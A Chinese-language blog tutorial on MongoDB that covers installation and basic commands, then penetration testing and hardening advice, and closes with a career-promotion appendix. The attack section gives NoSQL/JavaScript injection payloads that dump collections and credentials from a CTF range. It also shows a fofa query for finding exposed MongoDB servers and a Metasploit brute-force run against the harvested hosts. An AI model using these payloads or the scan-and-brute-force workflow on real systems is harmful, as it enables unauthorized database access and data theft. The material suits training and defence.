MongoDB是一个安全性相对较高的非关系型数据库,它的安全问题主要出现在使用、配置过程当中。目前随着MongoDB的流行,它也成为了红队攻防领域不可忽视的数据库。
0x01 MongoDB简介
MongoDB 是一个由C++编写、基于分布式文件存储的开源数据库系统,旨在为 web 应用提供可扩展的高性能数据存储解决方案。它将数据存储为一个文档,数据结构由键值对组成,文档类似于 JSON 对象。字段值可以包含其他文档、数组以及文档数组。
{
name: "mac",
age: "20",
job: "pentestor",
habits: ["music", "pentest"]
}
MongoDB是一个面向文档存储的数据库,默认端口是27017。与此同时它作为最像关系型数据库的非关系型数据库,操作起来也相对比较简单,以下为 MongoDB 的特点及优点:
1、MongoDB可在本地或网络中创建数据镜像,这使得它拥有更强的扩展性。
2、MongoDB支持丰富的查询表达式,查询指令使用JSON形式的标记,可轻易查询文档中内嵌的对象及数组。
3、MongoDB支持各种编程语言,包括Ruby、Python、Java、PHP、C#等。
4、MongoDB使用Map/Reduce来对数据进行批量处理和聚合操作,Map函数调用emit(kr,value)遍历集合中的所有记录,将key、value传递给Reduce进行处理。
5、MongoDB安装、操作非常简单。
由于NoSQL数据库适用于超大规模数据的存储,因此使用NoSQL数据库的场景也越来越多,例如我们熟知的Google、Facebook等全球大型互联网公司都在使用它来处理数以万计的数据信息。而MongoDB作为NoSQL数据库,它的的安全性主要由组成生态系统的各个部分共同负责。虽然MongoDB中具有一些内置的安全功能,但是由于在使用过程中会出现配置错误、更新不及时等问题,从而有可能导致漏洞的产生。
0x02 MongoDB安装
MongoDB安装配置
Windows下安装
下载地址:https://www.mongodb.com/download-center/community
目前市场上 MongoDB 的主流版本是3.4和3.6,但我们在本地以4.x为例进行安装。在官网中提供了可用于32位和64位系统的预编译二进制包,需要注意的是MongoDB2.2之后的版本已经不再支持Windows XP系统了。
MongoDB为Windows提供了两种安装方式,分别是msi和zip方式。前者方便快捷,但只推荐4.0版本以上使用该方式进行安装,这主要是因为4.x版本对msi安装方式进行了优化,而3.x和更低的版本都需要在安装完毕后手动进行配置。后者解压即安装,相对来说比较灵活,可以将其安装至任意目录。以下则是不同WIndows系统版本适合的MongoDB版本信息:
1. MongoDB for Windows 64-bit 适合 64位 Windows Server 2008 R2, Windows 7 ,以及最新版本的Windows系统
2. MongoDB for Windows 32-bit 适合 32位 的Window 系统及最新的Windows Vista,32位系统的的MongoDB最大数据库位2GB
3. MongoDB for Windows 64-bit Legacy 适合 64位 的 Windows Vista, Windows Server 2003, ݊ Windows Server 2008
双击运行即可使用 msi 方式安装 MongoDB
通过Custom
自定义安装目录
选择不安装compass(MongoDB图形化管理工具),如果安装的话会需要花费较多的时间
安装完成
MongoDB的bin目录中存在两个应用,分别是mongo.exe
和mongod.exe
,分别是MongoDB的客户端软件以及服务端软件。
与此同时将 MongoDB 的bin目录添加至环境变量中
编写配置文件mongod.cfg
(MongDB 3.x中不包含该文件,需要自己创建目录来制作服务),以便于后续以配置文件的方式启动 MongoDB 服务
systemLog:
destination: file //设置日志存储文件
path: C:\mongodb\log\mongodb.log //设置日志存储位置
logAppend: true //设置日志是否以追加形式记录
storage:
journal:
enabled: true //设置是否回滚日志
dbPath: C:\mongodb\data //设置数据存储目录
net:
port: 27017 //绑定端口
bindIp: 127.0.0.1 //绑定IP,如果需要远程登录需要配置本地IP
为了能在终端中可以通过net
命令来管理MongoDB,我们可以将 MongoDB 服务添加至服务中去,当然前提是我们要以管理员身份执行终端。
mongod --config "c:\Program Files\MongDB\Server\4.0\bin\mongod.cfg" --install
如果出现以下错误,解决方法是重新编写配置文件并在其中使用空格代替tab
完成后 Windows 便有了 MongoDB 服务,我们可以在服务中来管理 MongoDB,包括开机启动、设置启动方式等。
我们以管理员身份打开终端启动 MongoDB
net start mongodb //启动MongoDB
net stop mongodb //停止MongoDB
如果需要移除 MongDB 服务可以使用以下命令
C:\mongodb\bin\mongod.exe --remove
运行命令可直接进入 MongoDB 数据库当中
mongo
默认连接到test
数据库,饿哦吗能够在其中完成一些简单的算术运算
mongo
> db
> 1+1
尝试插入数据并查看已插入的数据
> db.data.insert({"user":"mac"})
> db.data.find()
Linux下安装
在 Linux 中安装 MongoDB 与 Windows 类似,首先导入 MongDB 的公共GPG密钥
wget -qO - https://www.mongodb.org/static/pgp/server-4.4.asc | sudo apt-key add -
如果出现 gnupg 未安装的错误,可安装 gnupg 解决
apt-get install gnupg
完成后再次导入密钥并为 MongoDB 创建文件
echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/4.4 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
通过 apt 命令更新本地软件数据包
sudo apt-get update
准备工作完成后我们开始安装MongoDB
apt-get install -y mongodb-org //安装最新稳定版
apt-get install -y mongodb-org=4.4 mongodb-org-server=4.4 mongodb-org-shell=4.4 mongodb-org-mongos=4.4 mongodb-org-tools=4.4 //安装指定版
需要注意的是如果仅指定mongodb-org=4.4
,那么无论指定哪个版本都会安装每个 MongoDB 包中的最新版本。可使用以下命令查看可选版本
echo "mongodb-org hold" | sudo dpkg --set-selections
echo "mongodb-org-server hold" | sudo dpkg --set-selections
echo "mongodb-org-shell hold" | sudo dpkg --set-selections
echo "mongodb-org-mongos hold" | sudo dpkg --set-selections
echo "mongodb-org-tools hold" | sudo dpkg --set-selections
大多数类 Unix 系统都提供了基于每个进程和每个用户来限制和控制系统资源(例如线程,文件和网络连接)使用的方法。虽然这些限制可防止单个用户使用过多的系统资源,但有时这些限制的默认值较低,可能会在MongoDB正常运行时产生许多问题,因此我们可根据需要进行调整。
启动MongoDB
sudo systemctl start mongod
如果在启动时出现以下错误
Failed to start Mongod.service:Unit mongod.service not found
可以使用以下命令解决并在完成后重新启动
sudo systemctl daemon-reload
查看 MongoDB 是否已启动
sudo systemctl status
为 MongoDB 配置开机启动
sudo systemctl enable mongod
使用以下命令可停止或重启MongoDB
sudo systemctl stop mongod
sudo systemctl restart mongod
当然在/var/log/mongodb/mongod.log
中存放着MongoDB的日志,如果需要删除可使用以下命令删除整个数据库日志目录
sudo rm -r /var/log/mongodb
MongoDB连接
Windows下连接
下载地址:https://www.mongodb.com/download-center/compass
我们可安装数据库图形化管理工具compass来方便地管理 MongoDB,点击新建连接即可连接数据库
如果 MongoDB 服务未开启,可使用以下方法开启 MongoDB 服务
mongod -dbpath c:\mongdb\data\db
查看数据库所拥有的角色
> use admin
> show roles
新建连接用户并授权
> db.createUser({user:"mac",pwd:"123456",roles:[{"role":"dbAdmin","db":"admin"},{ "role":"backup","db":"admin"}]})
> db.auth("mac","123456")
成功在本地登录 MongoDB
mongo -u mac -p 123456 localhost:27017/admin
除了使用本地登录外,更多情况下我会选择使用 navicat 来远程登录,前提是我们需要在配置文件mongod.cfg
中将bindIp
设置为0.0.0.0,设置完成后需重启服务
Navicat 远程连接成功
账号管理扩展命令:
> db.updateUser("root",{roles:[{role:"readWriteAnyDatabase",db:"admin"}]}) //修改用户权限
> db.changeUserPassword("username","新密码") //修改用户密码
> db.dropUser('test') //删除用户
参考文章:
https://www.jianshu.com/p/f5afc6488f9e
MongDB命令参考:
https://www.runoob.com/mongodb/mongodb-databases-documents-collections.html
Linux下连接
MongoDB配置文件默认设置 bindIp 为127.0.0.1,因此默认情况下 MongoDB 只能接受本地连接。如果需要远程连接,我们可以在 MongoDB 配置文件/etc/mongdb.conf
下设置bindIp 为0.0.0.0,需要注意的是 MongoDB 2.x 与 3.x 配置文件格式有点不同,以下为3.x版本
sudo gedit /etc/mongod.conf
sudo systemctl restart mongod
# 连接配置
bindIP:0.0.0.0
使用 Navicat 远程连接成功
0x03 MongoDB基础用法
MongoDB 可以拥有多个数据库,每个数据库包含一个或多个集合(collections),每个集合包含一个或多个文档(documents),通过命令mongo
可进入数据库当中
基础操作
创建数据库
如果数据库存在则直接进入数据库,否则会创建新的数据库
use macdb
查看当前数据库
> db
检查数据库列表
> show dbs
数据插入
插入一些数据
> db.data.insert({"user":"mac"})
> db.data.insert({"user":"mac","age":13})
> db.data.insert({"user":"tom","age":20})
数据查询
查询全部数据
> db.data.find()
查询特定数据
> db.data.find({"age":13})
数据删除
使用 remove 方法可按特定条件从集合中删除文档
> db.data.remove({"age":13})
> db.data.find()
如果需要删除集合可以通过以下方式
show collections
db.data.drop()
show collections
删除数据库
db.dropDatabase()
扩展:自搭渗透环境
熟悉了 MongoDB 的基础操作后,我们可搭建一个实验环境来测试 MongoDB 数据库,使用 kali 来模拟生产机器并安装 MongDB 、php以及web应用程序,假设web环境已经搭建好,那么尝试配置数据库
创建数据库
> use mac
> db
插入数据
将测试数据插入集合users
和products
当中
> db.users.insert({"username":"tom","password":"tom"})
> db.users.insert({"username":"jim","password":"jim"})
> db.users.insert({"username":"bob","password":"bob"})
> db.products.insert({"email":"tom@gmail.com","price":"1500USD"}
)
> db.products.insert({"email":"jim@gmail.com","price":"50USD"})
> db.products.insert({"email":"bob@gmail.com","price":"4500USD"})
安装MongoDB驱动
PHP web应用程序使用 MongoDB 的前提需安装对应的驱动,否则无法调用
sudo apt-get install php-pear
sudo pecl install mongo
sudo apt-get install php-mongodb
0x04 MongoDB渗透
SQL注入
这里以墨者靶场为例,源码如下:
靶场漏洞地址如下:
http://219.153.49.228:45718/new_list.php?id=1
常规情况下通过单引号判断注入,返回不同页面说明存在注入点
/new_list.php?id=1'
构造 payload 测试回显内容
/new_list.php?id=1'});return ({title:1,content:'2
成功爆出数据库名为mozhe_cms_Authority
/new_list.php?id=1'});return ({title:tojson(db),content:'1
成功爆出集合名,分别为notice
、Authority_confidential
、system.indexes
new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),content:'1
针对集合Authority_confidential
爆出对应文档
new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'1
new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[1]),content:'1
成功拿到用户名为mozhe
,两个密码经过md5解密后如下:
0eae21a0d4eb17267a0981af5f8f0397: 179303
a83cd5ad5ed3e1c5597441aaab289f5c: dsansda
使用mozhe/dsansda
可登录应用
成功拿到flag:mozhe0500ad3c303c29201bbe1dbef89
未授权登录
通过 fofa 可导出 mongodb 数据库的IP地址,搜索语句如下:
"mongodb" && protocol="mongodb"
使用 fofaAPI 可导出 MongoDB 数据库的IP地址,配置如下
{'rule':'"mongodb" && protocol="mongodb"','page':'','size':'100','fields':'host','is_full':''}
使用 MSF 对拿到的 MongDB 数据库进行爆破
msfconsole
msf > use auxiliary/scanner/mongodb/mongodb_login
msf > set rhosts 'file:/root/Desktop/ouput.txt'
msf > run
随意选择爆破成功的IP,登录数据库课成功查看目标数据库信息
自动化评估
可以通过自动化方法来查找之前所提到的所有漏洞,存在一个工具NoSQLMap
工具地址:https://github.com/codingo/NoSQLMap
NoSQLMap介绍
NoSQLMap是一个开源的Python工具,主要用于审计和自动化注入攻击(包括版本小于2.2.4 getshell),并利用NoSQL数据库中的缺省配置弱点以及使用NoSQL的web应用程序来泄漏数据库中的数据。目前这个工具主要集中在MongoDB上,但是在未来版本中基于其他NoSQL数据库的平台,比如CouchDB、Redis、Cassandra等提供支持。
NoSQLMap特性
自动化对MongoDB、CouchDB数据库枚举和克隆攻击
通过基于MongoDB的web应用程序来提取数据库信息
使用默认访问和枚举版本扫描MongDB、CouchDB数据库的网段
使用强字典爆破MongDB、CouchDB数据库的哈希
针对MongoCLient的PHP应用程序参数注入返回所有数据库记录
JavaScript函数变量转移和任意代码注入来返回所有的数据库记录
基于计时类的攻击类似于SQL盲注来验证没有回显信息的JavaScript注入漏洞
NoSQLMap安装使用
主要通过setup.py来安装NoSQLMap
python2 setup.py install
也可以使用 docker 来进行安装
cd docker
docker build -t nosqlmap .
或者在 docker-compose 中使用
docker-compose build
docker-compose run nosqlmap
进入 nosqlmap
Nosqlmap
首先需要选择1进行选项配置
通过翻译可以了解这些配置
1.设置目标 host/host/IP 目标 Web 服务器 如:(www.google.com) 或者任何你想要攻击的 MongoDB 服务器。
2.设置 Web 应用 port-TCP 如果一个 Web 应用成为目标,为 Web 应用设置 TCP 端口。
3.设置 URI 路径,部分 URI 包含页面名称及任何非主机名称的参数 如:(/app/acct.php?acctid=102)。
4.设置 HTTP 请求方法 (GET/POST) 设置请求方法为 GET 或 POST ;现在只能使用 GET 方法但是后续会增加 POST 方法。
5.设置我的本地 Mongo/Shell IP-Set 如果直接攻击一个 MongoDB 实例,设置这个选项到目标 Mongo 安装的IP来复制受害者服务器或打开 Meterpreter Shell。
6.设置 Shell 监听端口,如果开放 Meterpreter Shell 就会指定端口。
7.加载选项 file-Load 加载之前保存的 1-6 中的设置。
8.加载选项 从 Burp 保存的 (request-Parse) 请求中加载 Burp Suite 的请求,并填充 Web 应用选项。、
9.保存选项设置 file-Save 保存 1-6 中的设置以便未来使用。
x.返回主菜单 meun-Use 使用这个选项开始攻击。
将配置设置完成后尝试利用
0x05 MongoDB安全防护
漏洞危害
对外开放的MongoDB服务如果存在未授权访问,那么攻击者可以随意多数据库进行增删改查操作,存在严重的数据泄漏风险。
漏洞成因
MongoDB服务安装后,默认不会开启权限验证,如果监听设置为0.0.0.0,那么即可远程登录数据库,以下为主要的版本区别:
3.0之前版本的MongoDB,默认监听0.0.0.0。但之后的版本默认监听127.0.0.1。
3.0之前版本的MongoDB如果未添加管理员账号和数据库账号,当--auth启动时,在本地可直接登录数据库,但是远程登录则需要认证信息
3.0之后的版本,使用--auth参数,无账号则本地和远程均无法访问数据库
漏洞验证
当存在未授权访问漏洞时,使用mongodb数据库连接工具进行连接,通过命令登录数据库即可查看数据
mongo
> show db
> use admin
> show users
除了navicat还可以通过robo进行连接
下载地址如下:https://robomongo.org/download
建议使用1.2低版本,否则对低版本的存在漏洞数据库无法认证
整改建议
1、在MongDB本地配置文件中限制IP登录
bindIp:127.0.0.1
2、在防火墙上设置访问源,以下为linux下的参考方法
iptables -A INPUT -s <ip-address> -p tcp --destination-port 27017 -m state --state NEW,ESTABLISHED -j ACCEPT //进站规则
iptables -A OUTPUT -d <ip-address> -p tcp --source-port 27017 -m state --state ESTABLISHED -j ACCEPT //出站规则
如果服务器为windows,那么可以设置服务和命令开启防火墙配置
3、基于角色的登录认证功能
> use admin
> db.createUser(
{
user: "myUserAdmin",
pwd: "Passw0rd",
roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
}
)
在3.0之前的版本需要通过addUser来创建方法,在cfg文件进行开启认证
security:
authorization: enabled
启动MongDB
mongod --config /etc/mongod.conf
之后通过密码连接本地数据库
mongo --port 27017 -u "myUserAdmin" -p "Passw0rd" --authenticationDatabase "admin"
在MongDB中也可以通过auth()函数来认证身份信息
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
- 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
- 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取